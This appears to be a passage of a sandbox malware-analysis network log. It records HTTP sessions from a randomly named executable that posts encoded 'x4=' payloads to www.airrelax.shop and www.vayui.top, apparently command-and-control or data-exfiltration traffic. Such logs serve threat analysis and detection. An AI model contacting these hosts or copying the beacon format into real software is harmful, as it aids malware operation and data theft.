Dec 12, 2024 10:23:29.529061079 CET	808	OUT	POST /gvzg/ HTTP/1.1 Host: www.airrelax.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.airrelax.shop Referer: http://www.airrelax.shop/gvzg/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 36 62 46 4c 79 69 68 6f 38 4a 59 69 79 63 34 78 67 53 52 55 64 41 4c 6d 46 6f 32 77 79 6f 79 47 76 64 6d 67 6b 4b 57 47 39 34 6d 63 54 36 50 6c 66 71 70 52 65 61 2b 4b 62 51 56 32 35 65 41 41 6e 68 35 49 67 4f 73 56 76 35 77 2f 50 69 78 51 78 62 2f 48 79 37 44 64 31 64 37 69 36 61 63 63 52 72 42 39 49 45 68 6a 32 46 48 64 56 6c 32 70 70 58 5a 61 70 7a 59 51 62 74 6c 42 66 57 69 46 6c 79 4e 31 4a 66 41 2b 32 39 38 4d 4d 4c 30 68 69 62 4d 6e 7a 37 50 7a 30 45 59 4c 5a 4a 34 6f 48 38 52 6b 2f 6a 6a 30 6a 52 38 6b 34 41 53 69 45 6a 52 53 6d 51 59 68 66 70 65 5a 4f 64 35 6d 58 77 3d 3d Data Ascii: x4=6bFLyiho8JYiyc4xgSRUdALmFo2wyoyGvdmgkKWG94mcT6PlfqpRea+KbQV25eAAnh5IgOsVv5w/PixQxb/Hy7Dd1d7i6accRrB9IEhj2FHdVl2ppXZapzYQbtlBfWiFlyN1JfA+298MML0hibMnz7Pz0EYLZJ4oH8Rk/jj0jR8k4ASiEjRSmQYhfpeZOd5mXw==
Dec 12, 2024 10:23:30.781925917 CET	1236	IN	HTTP/1.1 405 Not Allowed Date: Thu, 12 Dec 2024 09:23:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l5QjRZ7m8kzoa8Ml%2Baag49c82MFt7qs3Uw2XUex%2FaolxKQolwE7E3Ul1sfaojxBDGuG%2B9YQ5jLuHXlrMYVnhHSWqElfDUdRqI4xp53AckYc1tgehugWz5SG9gjOFyZmAqGkVuA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0ca7f34fcd42c6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1576&min_rtt=1576&rtt_var=788&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=808&delivery_rate=0&cwnd=136&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE
Dec 12, 2024 10:23:30.781943083 CET	111	IN	Data Raw: 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 Data Ascii: and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.22	49209	172.67.215.235	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:23:32.190774918 CET	2472	OUT	POST /gvzg/ HTTP/1.1 Host: www.airrelax.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.airrelax.shop Referer: http://www.airrelax.shop/gvzg/ Content-Length: 3623 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 36 62 46 4c 79 69 68 6f 38 4a 59 69 6a 49 45 78 69 7a 52 55 66 67 4c 68 4f 49 32 77 35 49 79 34 76 64 71 67 6b 49 36 73 39 71 4b 63 64 4a 48 6c 65 4a 42 52 63 61 2b 4b 5a 51 56 79 68 2b 41 57 6e 68 39 75 67 4d 30 46 76 2f 6f 2f 50 45 70 51 33 5a 58 47 39 72 44 66 78 64 37 6c 36 61 63 56 52 71 74 35 49 45 30 30 32 46 66 64 56 57 65 70 39 33 5a 5a 73 7a 59 51 62 74 6b 56 66 57 69 70 6c 79 56 74 4a 65 59 75 32 76 6b 4d 4d 71 55 68 6c 34 6b 6b 78 37 50 33 71 55 5a 41 51 37 46 58 4f 63 5a 57 32 69 58 72 72 79 6b 2f 34 52 6e 75 63 6a 56 76 73 77 4d 7a 65 5a 71 4e 41 65 34 76 41 73 69 79 74 47 72 4c 59 71 58 53 55 6d 50 53 5a 49 37 47 68 39 71 73 7a 58 63 75 6a 69 46 58 48 74 39 6d 67 30 54 44 33 6b 7a 76 51 4e 61 69 75 30 2f 4c 33 6e 52 39 59 50 75 59 44 55 4d 2b 2f 73 36 74 74 6c 4c 44 6a 4d 41 45 6b 79 55 2b 78 67 59 74 68 4e 54 6d 70 39 39 5a 36 49 48 73 61 39 37 7a 44 35 4c 62 6d 67 37 36 57 2f 35 58 35 69 6b 47 78 6b 61 67 63 6b 68 73 68 32 48 4d 4d 35 78 62 49 54 6b 59 69 45 6c 64 6f 68 34 [TRUNCATED] Data Ascii: x4=6bFLyiho8JYijIExizRUfgLhOI2w5Iy4vdqgkI6s9qKcdJHleJBRca+KZQVyh+AWnh9ugM0Fv/o/PEpQ3ZXG9rDfxd7l6acVRqt5IE002FfdVWep93ZZszYQbtkVfWiplyVtJeYu2vkMMqUhl4kkx7P3qUZAQ7FXOcZW2iXrryk/4RnucjVvswMzeZqNAe4vAsiytGrLYqXSUmPSZI7Gh9qszXcujiFXHt9mg0TD3kzvQNaiu0/L3nR9YPuYDUM+/s6ttlLDjMAEkyU+xgYthNTmp99Z6IHsa97zD5Lbmg76W/5X5ikGxkagckhsh2HMM5xbITkYiEldoh49WCyQwb34Opxa/BTsngJZ2NfEexQB2yBi8rPKsyWro+Gseb5mjBktsysjOWkflKEFCmFDiWUkts38mUHl9sUMTEBl73WBve+20uPq5ULsL/m1iIkBDfYftitfEPR5NTycB6RcKoPpP6XF0UYr1L8D+O+Wn1TQR+HjD6bM+mNskQ8Rr/bd3Lu1Bjg/bQfmGqMp5CJiGZdhmXIm5PJr+GOOgHm27xygd/pxsnro0RaoWG+/44gz9zQw2XZbefEtWzAdRVjgTL9DMBiJ+vsW573GtWc2mO1bGmCoSJPUW4BhfUEFiXGKCMOrppRRInj3VzXZK2xP7wu04fy1jfsDagOEOFa9PVkngvGIRypWDAeOM7ftLNc4zdx3jBX5sTII+9Ui6M43+xZg795k2218CZe8xrZaes1MtzeMSt8Myd7JfMnR5kuy2nHi9YiFVjwbWoVE90BKd9YkFUvbtpKyzUq1i7wSXaJcKL9uAKlJo3zBJGnC+hYaFvjBHPTHUPK/Oip2EiWZT+rEkrms67iptepSLEZuzHLXuZIeUkH3z9ALVE3g+pKMlpmwR9FzC7re0jm7g3FOsclEXarDEFeXWIfsqk/x6u5OMVQHAOCRyqIZzz0zgv75Ze//G6sE4DuL8smZ7uHc7HMbFBbfscQxF5vUGZcILaV4VoEqF [TRUNCATED]
Dec 12, 2024 10:23:32.310126066 CET	1761	OUT	Data Raw: 77 35 36 62 71 6f 45 76 68 54 55 49 50 53 4a 54 65 6c 4d 70 7a 52 35 77 64 50 4a 46 69 62 75 78 55 6c 54 58 66 6d 42 66 43 50 38 74 58 30 74 71 39 36 59 68 6c 41 73 64 65 4e 33 4d 35 51 4b 32 6b 2b 6b 34 47 74 54 46 76 6e 47 66 70 2b 61 6d 67 41 Data Ascii: w56bqoEvhTUIPSJTelMpzR5wdPJFibuxUlTXfmBfCP8tX0tq96YhlAsdeN3M5QK2k+k4GtTFvnGfp+amgA4Zlzrafi/s0dHvkDE2LDYxO0ilExYrj8cEUGbKPSsIqwMEDchNTo0CMrqK/ogEkrLg/6qC/fN+EMAmZ/2825buFkkLxDSXtEPjFkqBp0Oh9qTA09MkTCOJh0AIhNXMPezQlv3NApNegmMRdME2681s9FV6fM8sTuk
Dec 12, 2024 10:23:33.441935062 CET	1236	IN	HTTP/1.1 405 Not Allowed Date: Thu, 12 Dec 2024 09:23:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9X31UpTv4L3iN%2F%2F2nm61j2iGLxv6RFVHKnPBrG4gwWbUREEEKkXn31ZvOW%2Bek17vtOOsFmZ45i5KbfJIRxDW1doBQPwrKjhy9qd10P78YTB7HnLwQFR2BlMXFSFImoJWUs2gSw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0ca803f9915e7c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2071&min_rtt=2071&rtt_var=1035&sent=3&recv=6&lost=0&retrans=0&sent_bytes=0&recv_bytes=4233&delivery_rate=0&cwnd=194&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MS
Dec 12, 2024 10:23:33.441951036 CET	113	IN	Data Raw: 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 Data Ascii: IE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.22	49210	172.67.215.235	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:23:34.840564966 CET	542	OUT	GET /gvzg/?x4=3ZtrxXVK8OpQj/IeinJ3ZiXeAcGxlO+Pqtakmq6NsaDAWPHTfqsTTp3MR0RJjMVggAZP9MES5OMDJz4L+ZnM27rh6ujY7a8DVehBMFx021rrXiLY5F9HpwIHbLcF&e2E=wRQ8oHXx HTTP/1.1 Host: www.airrelax.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Dec 12, 2024 10:23:36.102161884 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 09:23:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Fri, 25 Oct 2024 07:07:09 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XacOeoS9crCYvQMx1vShV7cR1OOS7bOjNPgLJdr1H5SHjftbGtocKYshBKHvH9%2FwOuZ46sDhTbymNZ%2BRSkS3PUHrBDG1%2BLR1mKUD%2BhpKFYFuh3buecxJ2EihLqlAUqRogwScmQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0ca8148ca543d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1569&min_rtt=1569&rtt_var=784&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=542&delivery_rate=0&cwnd=171&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 35 36 62 38 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 0a 09 09 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 76 69 65 77 70 6f 72 74 2d 66 69 74 3d 63 6f 76 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 0a 09 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 [TRUNCATED] Data Ascii: 56b8<html lang=""><head><meta charset="utf-8"><meta name="viewport"content="width=device-width,initial-scale=1,maximum-scale=1,minimum-scale=1,user-scalable=no,viewport-fit=cove" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="icon" href="favicon.ico"><meta content="yes" name="apple-mobile-web-app-capable"><meta content="yes" name="apple-touch-fullscreen"><
Dec 12, 2024 10:23:36.102205992 CET	1236	IN	Data Raw: 74 69 74 6c 65 3e 61 63 74 69 6f 6e 61 72 65 6e 61 2e 74 6f 70 3a 20 57 68 65 72 65 20 68 61 70 70 69 6e 65 73 73 20 6d 65 65 74 73 20 69 6e 6e 6f 76 61 74 69 6f 6e 20 7c 20 4f 6e 6c 69 6e 65 20 47 61 6d 65 20 7c 20 46 72 65 65 20 47 61 6d 65 3c Data Ascii: title>actionarena.top: Where happiness meets innovation \| Online Game \| Free Game</title><link href="css/chunk-common.2627b58b.css" rel="preload" as="style"><link href="css/chunk-vendors.df919975.css" rel="preload" as="style"><link href=
Dec 12, 2024 10:23:36.102217913 CET	1236	IN	Data Raw: 73 28 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 67 6f 6f 67 6c 65 74 61 67 2e 70 75 62 61 64 73 28 29 2e 65 6e 61 62 6c 65 53 69 6e 67 6c 65 52 65 71 75 65 73 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 67 6f 6f 67 6c 65 74 61 67 2e Data Ascii: s()); googletag.pubads().enableSingleRequest(); googletag.enableServices(); }); </script> adEnd--><script>window.aiptag = window.aiptag \|\| {cmd: []};aiptag.cmd.display = aiptag.cmd.display \|\| [];
Dec 12, 2024 10:23:36.102341890 CET	1236	IN	Data Raw: 65 74 63 2e 0a 09 09 09 69 66 20 28 74 79 70 65 6f 66 20 61 69 70 74 61 67 2e 61 64 70 6c 61 79 65 72 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 29 20 7b 0a 09 09 09 09 61 69 70 74 61 67 2e 63 6d 64 2e 70 6c 61 79 65 72 2e 70 75 73 68 28 66 Data Ascii: etc.if (typeof aiptag.adplayer !== 'undefined') {aiptag.cmd.player.push(function() { aiptag.adplayer.startVideoAd(); });} else {//Adlib didnt load this could be due to an adblocker, timeout etc.//Please add your script h
Dec 12, 2024 10:23:36.102365017 CET	1236	IN	Data Raw: 65 22 3e 0a 09 09 09 09 09 09 48 6f 6d 65 0a 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 61 3e 0a 09 09 09 3c 61 20 64 61 74 61 2d 76 2d 34 39 37 35 39 38 31 39 3d 22 22 20 68 72 65 66 3d 22 73 65 61 72 Data Ascii: e">Home</span></div></a><a data-v-49759819="" href="search.html?type=Popular" class="type_item" style="display: none;"></a><a data-v-49759819="" href="search.html?type=Girls" class="type_item"><div data-v
Dec 12, 2024 10:23:36.102404118 CET	1236	IN	Data Raw: 74 6d 6c 3f 74 79 70 65 3d 52 61 63 69 6e 67 22 20 63 6c 61 73 73 3d 22 74 79 70 65 5f 69 74 65 6d 22 3e 0a 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 76 2d 34 39 37 35 39 38 31 39 3d 22 22 3e 0a 09 09 09 09 09 3c 69 6d 67 20 64 61 74 61 2d 76 2d Data Ascii: tml?type=Racing" class="type_item"><div data-v-49759819=""><img data-v-49759819="" alt="" src="img/racing.1bfb9b83.png" data-src="img/racing.1bfb9b83.png"style="width: 1.5rem; height: 1.5rem;"><span data-v-49759819="" c
Dec 12, 2024 10:23:36.102421045 CET	1236	IN	Data Raw: 20 31 2e 35 72 65 6d 3b 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 76 2d 34 39 37 35 39 38 31 39 3d 22 22 20 63 6c 61 73 73 3d 22 69 74 65 6d 5f 6e 61 6d 65 22 3e 0a 09 09 09 09 09 09 53 70 6f 72 74 73 0a 09 09 09 09 09 3c 2f 73 70 Data Ascii: 1.5rem;"><span data-v-49759819="" class="item_name">Sports</span></div></a><a data-v-49759819="" href="search.html?type=Action" class="type_item"><div data-v-49759819=""><img data-v-49759819="" alt="
Dec 12, 2024 10:23:36.102580070 CET	1236	IN	Data Raw: 65 61 64 65 72 22 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 22 3e 0a 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 76 2d 34 39 37 35 39 38 31 39 3d 22 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 22 3e 0a 09 09 09 09 09 3c 73 76 67 20 64 61 74 61 2d 76 2d Data Ascii: eader" class="header"><div data-v-49759819="" class="menu"><svg data-v-49759819="" t="1687244222935" viewBox="0 0 1024 1024" version="1.1"xmlns="http://www.w3.org/2000/svg" p-id="19883" xmlns:xlink="http://www.w3.org/1999/xli
Dec 12, 2024 10:23:36.102591038 CET	1236	IN	Data Raw: 3e 0a 09 09 09 09 3c 61 20 64 61 74 61 2d 76 2d 34 39 37 35 39 38 31 39 3d 22 22 20 68 72 65 66 3d 22 73 65 61 72 63 68 2e 68 74 6d 6c 3f 71 3d 22 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 22 3e 0a 09 09 09 09 09 3c 73 76 67 20 64 61 74 61 2d 76 Data Ascii: ><a data-v-49759819="" href="search.html?q=" class="search"><svg data-v-49759819="" t="1687244550911" viewBox="0 0 1024 1024" version="1.1"xmlns="http://www.w3.org/2000/svg" p-id="3078" data-spm-anchor-id="a313x.7781069.0.i2"
Dec 12, 2024 10:23:36.102597952 CET	1236	IN	Data Raw: 09 3c 69 6e 70 75 74 20 64 61 74 61 2d 76 2d 30 35 34 34 37 39 33 66 3d 22 22 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 69 6e 70 75 74 20 74 68 65 20 6b 65 79 77 6f 72 64 73 22 20 63 6c 65 61 72 61 62 6c 65 3d Data Ascii: <input data-v-0544793f="" type="text" placeholder="input the keywords" clearable="" defaultvalue=""><div data-v-0544793f=""><svg data-v-0544793f="" t="1680079992751" viewBox="0 0 1024 1024" version="1.1"xmlns="http://www.w3.
Dec 12, 2024 10:23:36.221756935 CET	1236	IN	Data Raw: 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 64 45 6e 64 2d 2d 3e 0a 09 09 09 09 09 3c 64 69 76 20 69 64 3d 27 61 63 74 69 6f 6e 61 72 65 6e 61 2d 74 6f 70 5f 33 30 30 78 32 35 30 27 3e 0a 09 09 09 09 09 3c 73 63 Data Ascii: div> adEnd--><div id='actionarena-top_300x250'><script type='text/javascript'>aiptag.cmd.display.push(function() { aipDisplayTag.display('actionarena-top_300x250'); });</script></div>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.22	49211	172.67.145.234	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:23:42.382726908 CET	2472	OUT	POST /ge5i/ HTTP/1.1 Host: www.vayui.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.vayui.top Referer: http://www.vayui.top/ge5i/ Content-Length: 2159 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 75 4e 38 55 45 2f 47 2b 45 4c 69 44 4f 65 79 47 78 68 38 78 67 58 74 75 57 53 4b 42 59 2b 6d 37 50 6a 70 31 78 58 4b 68 75 52 2b 45 70 59 6d 2f 76 58 68 79 5a 6f 54 57 58 57 38 73 55 70 33 67 66 77 69 6f 2f 58 37 6a 6e 61 4d 70 70 78 6b 58 4b 6a 47 4a 6f 68 4e 31 75 6e 71 75 6a 41 54 65 55 32 4d 64 33 50 35 4a 33 55 44 49 42 6f 64 37 42 43 5a 38 2b 33 42 42 62 41 35 77 36 63 51 31 44 4e 38 6b 52 4d 6b 67 6e 62 57 61 4c 49 39 57 6f 68 51 33 31 5a 57 6c 67 66 55 4a 33 64 32 72 7a 35 6a 35 5a 52 71 67 69 4d 53 72 72 47 4e 41 4f 31 37 5a 6a 35 41 41 75 73 67 63 42 4c 37 78 2b 4e 55 33 62 57 7a 59 31 54 68 53 48 2b 54 6a 57 35 58 63 4a 49 4b 57 77 6c 7a 78 49 2b 58 49 53 30 69 45 43 46 65 70 6d 2b 51 4e 2b 37 4b 2b 47 77 73 4d 72 34 52 46 58 30 44 6d 48 4a 36 4e 65 49 78 61 78 78 37 6d 43 4b 39 6f 64 6a 49 41 50 33 7a 6d 53 36 71 45 31 32 72 72 2f 69 58 6b 71 72 4a 77 71 2f 4c 58 64 63 4b 5a 70 52 55 4f 4b 33 6f 6f 75 71 46 42 34 55 66 55 6a 76 2b 44 38 30 48 32 4d 76 7a 5a 67 69 66 33 55 6e 43 [TRUNCATED] Data Ascii: x4=uN8UE/G+ELiDOeyGxh8xgXtuWSKBY+m7Pjp1xXKhuR+EpYm/vXhyZoTWXW8sUp3gfwio/X7jnaMppxkXKjGJohN1unqujATeU2Md3P5J3UDIBod7BCZ8+3BBbA5w6cQ1DN8kRMkgnbWaLI9WohQ31ZWlgfUJ3d2rz5j5ZRqgiMSrrGNAO17Zj5AAusgcBL7x+NU3bWzY1ThSH+TjW5XcJIKWwlzxI+XIS0iECFepm+QN+7K+GwsMr4RFX0DmHJ6NeIxaxx7mCK9odjIAP3zmS6qE12rr/iXkqrJwq/LXdcKZpRUOK3oouqFB4UfUjv+D80H2MvzZgif3UnC+FBQfw/mFAOJuUXzDHO5hEg8jtWgpt5UF6Y3ZMrcRaNgvNrUDXT8rfI1bABvryouZuvYS6hvzxR+Gtbqw5ngf96/oDmNoDvJXwy91magW4z1xE9drBXgq02Rr8PRfNW3JE7uLOPsG53TPHw3lZQgzJ/GkanLRBgu9pM+aQGNA/8caK08oWIVvUZFuYS0YqTCm+SFI956SfW+GKR1CAcnuXb4KNlsvyIcnkyjuyYrSlFZFtkQT33DqMGqV6Jnz8S6Xxa7jU5LeWaQimHFWi1sdXwh/cfTrNjYyahf8bCmV3lub4rEvMm8deTOcnf8NCpRPPrBtClmdLk71FqEEXdtaVPF2XlGwCG9Tk1v3j7l0WSsvuDK9WVO7VGqJmaibLz+ONYJnTLes92pZQ/8EgPngWgExP7bGI8b6wVgeh9nRLuxBNsqOU2/1sjgvJPECEMCp6fOD7sbkEocbc3SPqw4SoZ/V5FiEGPbboWH3fBfOQjYJ99NcxUcPi9bQFZYjXN2/3wDO9zl5MOQe6GZ0ZMh0iBL+fVnRIDLEVl0TnEGiZ6cZWImwtD6KGG4TQ1S4jX+uWf6lLGnY5nwVYVBvWwd0nRhw2Ojy2dT9Erc5jsSDeepJRyLduzSvyIV0Tqs8k88y2SkbKfv1pizghLxVQIuKJwi+HuJKwSVBi [TRUNCATED]
